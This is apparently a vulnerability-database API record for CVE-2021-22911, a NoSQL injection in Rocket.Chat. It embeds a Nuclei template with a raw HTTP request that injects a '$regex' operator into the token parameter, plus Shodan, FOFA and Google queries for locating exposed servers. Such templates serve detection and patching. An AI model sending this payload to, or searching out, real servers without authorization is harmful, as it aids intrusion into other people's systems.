{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-22911/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-22911/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-22911/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-22911/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-22911/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-22911"},"sightings":{"href":"/api/v1/sightings/cve-2021-22911"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.95242,"kev":false,"percentile":0.99864},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-22911.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-22911\n\ninfo:\n  name: Rocket.Chat <=3.13 - NoSQL Injection\n  author: tess,sullo\n  severity: critical\n  description: Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service.\n  remediation: |\n    Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.\n  reference:\n    - http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html\n    - https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911\n    - https://hackerone.com/reports/1130721\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911\n    - https://blog.sonarsource.com/nosql-injections-in-rocket-chat\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22911\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-22911\n    cwe-id: CWE-75,NVD-CWE-Other\n    epss-score: 0.95242\n    epss-percentile: 0.99863\n    cpe: cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: rocket.chat\n    product: rocket.chat\n    shodan-query:\n      - http.title:\"Rocket.Chat\"\n      - http.title:\"rocket.chat\"\n    fofa-query: title=\"rocket.chat\"\n    google-query: intitle:\"rocket.chat\"\n  tags: cve2021,cve,rocketchat,nosqli,packetstorm,vulhub,hackerone,rocket.chat,sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |-\n        POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"message\": \"{\\\"msg\\\":\\\"method\\\", \\\"method\\\": \\\"getPasswordPolicy\\\", \\\"params\\\": [{\\\"token\\\": {\\\"$regex\\\": \\\"^{{randstr}}\\\"}}] }\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '[error-invalid-user]'\n          - '\"success\":true'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502210098512b0e9e0f0a6aa4554b4f8799e84deaca27e6e3d4e04b9936c620b701b77d022066ad3781bb1575dd3c38c0f202710b78c3a1ac7dee6bed21a0916f0fb368a857:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-22911"}